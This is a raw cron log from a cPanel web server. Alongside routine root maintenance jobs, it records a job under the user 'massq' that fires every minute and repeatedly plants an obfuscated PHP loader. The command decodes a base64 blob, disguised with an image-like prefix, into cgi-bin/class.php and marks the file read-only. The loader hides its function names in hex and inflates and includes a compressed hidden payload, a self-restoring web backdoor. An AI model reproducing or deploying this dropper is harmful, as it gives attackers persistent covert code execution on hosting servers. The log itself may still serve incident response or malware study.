Sep 10 22:45:01 server CROND[23866]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:46:01 server CROND[24705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:46:01 server CROND[24706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:46:01 server CROND[24707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:47:01 server CROND[25094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:47:01 server CROND[25095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:47:01 server CROND[25096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:48:01 server CROND[25494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:48:01 server CROND[25495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:48:01 server CROND[25496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:49:01 server CROND[25882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:49:01 server CROND[25881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:49:01 server CROND[25883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:50:01 server CROND[26385]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:50:01 server CROND[26388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:50:01 server CROND[26389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:50:01 server CROND[26390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:50:01 server CROND[26391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:50:01 server CROND[26393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:50:01 server CROND[26395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:50:01 server CROND[26392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:50:01 server CROND[26394]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:51:01 server CROND[27240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:51:01 server CROND[27241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:51:01 server CROND[27242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:52:01 server CROND[27610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:52:01 server CROND[27611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:52:01 server CROND[27612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:53:01 server CROND[27991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:53:01 server CROND[27992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:53:01 server CROND[27993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:54:01 server CROND[28366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:54:01 server CROND[28367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:54:01 server CROND[28368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:55:01 server CROND[28902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:55:01 server CROND[28904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:55:01 server CROND[28905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:55:01 server CROND[28906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:55:01 server CROND[28907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:55:01 server CROND[28909]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:55:01 server CROND[28908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:56:01 server CROND[29731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:56:01 server CROND[29732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:56:01 server CROND[29733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:57:01 server CROND[30130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:57:01 server CROND[30131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:57:01 server CROND[30133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:57:01 server CROND[30132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:58:01 server CROND[30520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:58:01 server CROND[30521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
